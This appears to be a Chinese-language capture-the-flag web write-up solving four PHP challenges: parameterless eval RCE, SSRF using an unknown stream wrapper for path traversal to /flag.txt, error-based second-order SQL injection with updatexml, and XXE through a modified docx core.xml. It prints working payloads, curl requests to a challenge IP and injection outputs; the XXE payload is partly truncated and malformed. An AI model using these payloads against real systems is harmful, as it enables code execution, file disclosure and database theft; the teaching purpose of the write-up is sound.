无参数RCE
if(isset($_GET['var'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
}
}
else{
die("Sorry!");
}
}
else{
show_source(__FILE__);
}
?>
无参数rce
类似RCTF 2018 的 r-cursive
,网上的解题思路很多
最终payload多种
?var=eval(hex2bin(session_id(session_start())));
,修改phpsessid为system('cat /flag.txt'));
的ascii值。SSRF
打开题目发现url
为index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==
,经过2次解密发现是ctfimage.jpg
,所以试着读取index.php
的源码
curl http://124.193.74.211:56714/index.php?file=YVc1a1pYZ3VjR2h3
得到源码
index.php
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '' .$_GET['file'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename: '. $file.'';
$file = str_replace("ctf","flag", $file);
echo 'real_filename: '.$file.'';
$txt = base64_encode(file_get_contents($file));
echo "";
/*
* Can you find the flag file?
*
* Hint: hal0flagi5here.php
*/
hint:hal0flagi5here.php
同方法读取hal0flagi5here.php
的源码
curl http://124.193.74.211:56714/index.php?file=YUdGc01HWnNZV2RwTldobGNtVXVjR2h3
hal0flagi5here.php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/happyctf\.com$/',$r['host']))
{
$url=file_get_contents($argv[1]);
echo($url);
}else
{
echo("error");
}
}else
{
echo "403 Forbidden";
}
?>
存在ssrf漏洞
此处我们可以用data
协议来触发xss
。
data://happyctf.com/plain;base64,PHNjcmlwdD5hbGVydCgnYScpPC9zY3JpcHQ+//
但是此题我们需要读取根目录下的/flag,txt
此处不得不说php的一个特性
php
的c代码中的/main/streams/streams.c
链接部分代码
if (protocol) {
if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, protocol, n))) {
char *tmp = estrndup(protocol, n);
php_strtolower(tmp, n);
if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, tmp, n))) {
char wrapper_name[32];
if (n >= sizeof(wrapper_name)) {
n = sizeof(wrapper_name) - 1;
}
PHP_STRLCPY(wrapper_name, protocol, sizeof(wrapper_name), n);
php_error_docref(NULL, E_WARNING, "Unable to find the wrapper \"%s\" - did you forget to enable it when you configured PHP?", wrapper_name);
wrapper = NULL;
protocol = NULL;
}
efree(tmp);
}
}
/* TODO: curl based streams probably support file:// properly */
if (!protocol || !strncasecmp(protocol, "file", n)) {
/* fall back on regular file access */
php_stream_wrapper *plain_files_wrapper = (php_stream_wrapper*)&php_plain_files_wrapper;
if (protocol) {
int localhost = 0;
if (!strncasecmp(path, "file://localhost/", 17)) {
localhost = 1;
}
#ifdef PHP_WIN32
if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/' && path[n+4] != ':') {
#else
if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/') {
#endif
if (options & REPORT_ERRORS) {
php_error_docref(NULL, E_WARNING, "Remote host file access not supported, %s", path);
}
return NULL;
}
if (path_for_open) {
/* skip past protocol and :/, but handle windows correctly */
*path_for_open = (char*)path + n + 1;
if (localhost == 1) {
(*path_for_open) += 11;
}
while (*(++*path_for_open)=='/') {
/* intentionally empty */
}
http://
、ftp://
类似协议开头,有则从注册的包装器列表中查找对应包装器;不以协议开头或不明协议则回退到本地文件模式(php_plain_files_wrapper
);fopen返回的流对象由包装器打开。file
协议或不明的协议,就会调回本地文件模式,利用这点我们就可以读取flagpaylaod:
url=aaa://happyctf.com/../../../../../../flag.txt
这里我们暂时不知道web服务的绝对路径,所以用6次../
来返回根目录,如过绝对路径为/var/www/html
,那么多余的../
被忽略。
二次注入+报错注入
打开题目可以注册,登录,登录后可改密码。
首先fuzz,select,group_concat,concat,updataxml,#
等字符没有过滤
但是注册时邮箱不能有@
(有点坑)。
payload:
mysql
数据库aa"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
XPATH syntax error: '~article,flag,users~
aa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#
XPATH syntax error: '~title,content,flag,name,pwd,ema'
aa"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#
XPATH syntax error: '~flag{9ec58447ff}~'
XXE
打开题目,是一个上传点,只能上传docx
文件
题目提示upload.php.bak
,访问得到
upload.php
if(isset($_POST["submit"])) {
$target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
try {
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.
";
}
} catch (Exception $e){
echo $e;
echo "上传文件不是一个docx文档.";
}
} else {
echo "上传失败.";
}
}
分析源码,关键点
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.
";
zip
协议获取上传文件docProps/core.xml
文件xpath
获取xml
文件的title
节点所以这里我们把docx,文件中更改docProps/core.xml
为我们的payload就可以。
payload:
]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>&xxe;dc:title>
<dc:subject>dc:subject>
<dc:creator>dc:creator>
<cp:keywords>cp:keywords>
<dc:description>dc:description>
<cp:lastModifiedBy>cp:lastModifiedBy>
<cp:revision>1cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Zdcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Zdcterms:modified>
cp:coreProperties>
下载题目给的sample.docx
文件,并更改后缀为.zip
,docProps/core.xml
的内容替换我们的payload,保存并改会文件类型,上传文件得到flag。